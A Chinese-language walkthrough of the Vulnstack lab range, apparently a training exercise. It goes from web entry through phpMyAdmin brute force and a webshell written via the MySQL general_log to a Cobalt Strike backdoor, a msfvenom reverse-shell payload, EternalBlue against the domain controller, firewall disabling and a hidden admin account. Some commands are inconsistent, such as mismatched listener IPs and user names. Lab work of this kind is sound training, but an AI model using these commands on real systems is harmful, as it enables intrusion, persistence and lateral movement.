官方下载地址以及实验文档如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
网络拓扑
需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。添加网络设配器如下图。
将 Win7 的网络适配器 1 设置成 VMnet1 仅主机模式(内网),网络适配器 2 设置成 NAT 模式(外网)。
而 Win2003、Win2008 网络适配器设置成VMnet1仅主机模式(内网)。
网络配置完成,这三台虚拟主机默认开机密码都是 hongrisec@2019(有的会提示密码已过期,更改为 Qwer1234 即可)登录查看三台虚拟机的ip地址如下:
windows7:(内:192.168.52.143 / 外:192.168.235.133)
windows2003:(内:192.168.52.141)
windows2008:(内:192.168.52.138)
检查windows是否和我们的物理机以及外网相通:
最后在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务
靶场的环境搭建完毕。
1.信息收集
nmap扫描
nmap -T4 -A 192.168.235.133
访问目录后发现了phpmyadmin,使用工具尝试暴力破解。
爆破成功得到账户和密码都是:root
尝试into outfile写入木马进行getshell。
想在网站内部写入木马,需要知道网站的绝对路径,可以通过报错获取路径,用select @@basedir;查询,通过查询phpinfo.php等等多种方法。但是不睡每一种方法都一定会成功,需要自己去尝试。
这里我们使用select @@basedir;进行查询。
很幸运,通过查询获得了网站的绝对路径。
然后通过执行select ‘’ into outfile ‘C:/phpStudy/www/shell.php’;将木马写入到网站的根目录。
这次没那么幸运了,写入失败。通过查询得知这里不能使用into outfile的方式写入shell。
可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。
尝试日志写入shell
查看日志状态:show variables like ‘%general%’;
general_log和general_log_file简述:
mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,以原始的状态来显示,如果将general_log开关打开,general_log_file指定一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,可以通过访问general_log_file指定的文件来获取webshell。
开启日志记录:set global general_log = “ON”;再查询日志状态。
开启成功。
执行命令:set global general_log_file=‘C:/phpStudy/www/1.php’,指定日志写入到网站根目录的 1.php 文件.
执行select ‘’ 也就是在1.php中写入一句话木马,连接密码cmd。
访问日志文件。
证明我们的文件写入成功。
WEB后台上传GetShell
在我们目录扫描中,还扫到了我们的网站备份源码。
服务器搭建了 yxcms 系统。
在这里插入图片描述
发现公告处有提示后台地址和账号密码
根据提示成功等人网站后台
可以新建一个木马文件,然后通过网络源代码找到找到木马生成后的位置在/yxcms/protected/apps/default/view/default/路径下。再进行蚁剑连接。
也可以直接在我们的主页源码中加入我们的一句话木马。
然后直接用蚁剑进行连接。
均可以获得shell。
拿蚁剑连接最好先去蚁剑关闭防火墙;
蚁剑终端执行:netsh advfirewall set allprofiles state off
使用CS植入Backdoor
使用CS生成 exe 可执行 Backdoor 程序。
先新建监听,主机IP填写服务端的ip,因为shell是经过服务端,再转到团队里每个人的客户端。端口填空闲的
生成后,使用蚁剑进行上传到靶机。
上传后使用蚁剑中使用终端命令行执行 exe Backdoor。
start shell.exe
可以看到我们 CS 客户端靶机上线:
利用 MS14-058 成功提权到 SYSTEM 系统权限账户。
信息收集
由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。
开始简单进行信息收集,常用到的有以下。
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
whoami
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
1.使用ipconfig /all 判断是否存在域。
可以看到存在GOD.org域。
也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
2.查看域信息:net view
3.查看主域信息:net view /domain,有一个GOD的域。
4.查询当前的登录域与用户信息:net config workstation
查看局域网内其他主机信息(主机名称、IP地址)net view。
5.获取域内用户的详细信息:wmic useraccount get /all
除了使用CS外,我们也可以使用msf进入操作。
开启msf
用kali执行(kali的ip为192.168.235.129)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.235.129 LPORT=6666-f exe > shell.exe
将shell.exe使用蚁剑上传到web服务器中。msf开启监听。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.235.133
set lport 6666
exploit
运行shell.exe。msf成功反弹shell
msf中getsystem也可直接提权。
定位域控:net group “domain controllers” /domain
定位域管:net group “domain admins” /domain
Ping域名获真实ip:
OWA.god.org对应:192.168.52.138
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由。
首先需要使用配置静态路由:
#加载MSF的autoroute模块,获取当前机器的所有网段信息
run post/multi/manage/autoroute
#添加目标内网路由
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
1、获取、查看当前机器的所有网段信息:
2、添加目标内网路由:
添加失败,因为该路由已存在。
MSF内网端口扫描
现在路由可达内网网段,可以先对内网主机进行探测。
1、先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:
我这里优先扫80 445(MS17-010) 3389(MS19-0708)
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run
可以看到192.168.52.141主机发现开启了135,139, 445 端口:
2、同样的方法,发现域控主机192.168.52.138也开启了 445 端口:
set rhosts 192.168.52.138
set ports 80,135-139,445,3306,3389
run
利用ms17-010进行攻击
1、对于开启了 445 端口的 Windows 服务器,借助 MSF 自带的漏洞扫描模块进行扫描:
search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
set rhosts 192.168.52.141 #设置被扫描的主机IP
run
2、尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138,使用 MSF 集成的 ms17-010 漏洞 EXP:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
set command whoami
run
可以尝试psexec。但是也可能会不能成功。
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
MSF开启远程桌面
已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面。
win7开启3389
获得服务器 Shell 后开启远程桌面的方法,除了借助 MSF,在常规渗透过程也可以在 CMD 命令中实现:
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user kb2414 Pass!@123456 /add
# 给账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加用户
net user kb2414
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
由于靶机环境和其它原因,没能将域的shell拿下,通过本次实验,也发现了自己的很多不足,能力还比较弱,还需要不断学习。
本文参考了一些文章,可以去看看真大佬的文章
https://www.freebuf.com/articles/web/289935.html
https://www.freebuf.com/articles/web/231111.html
https://www.freebuf.com/articles/web/291776.html
......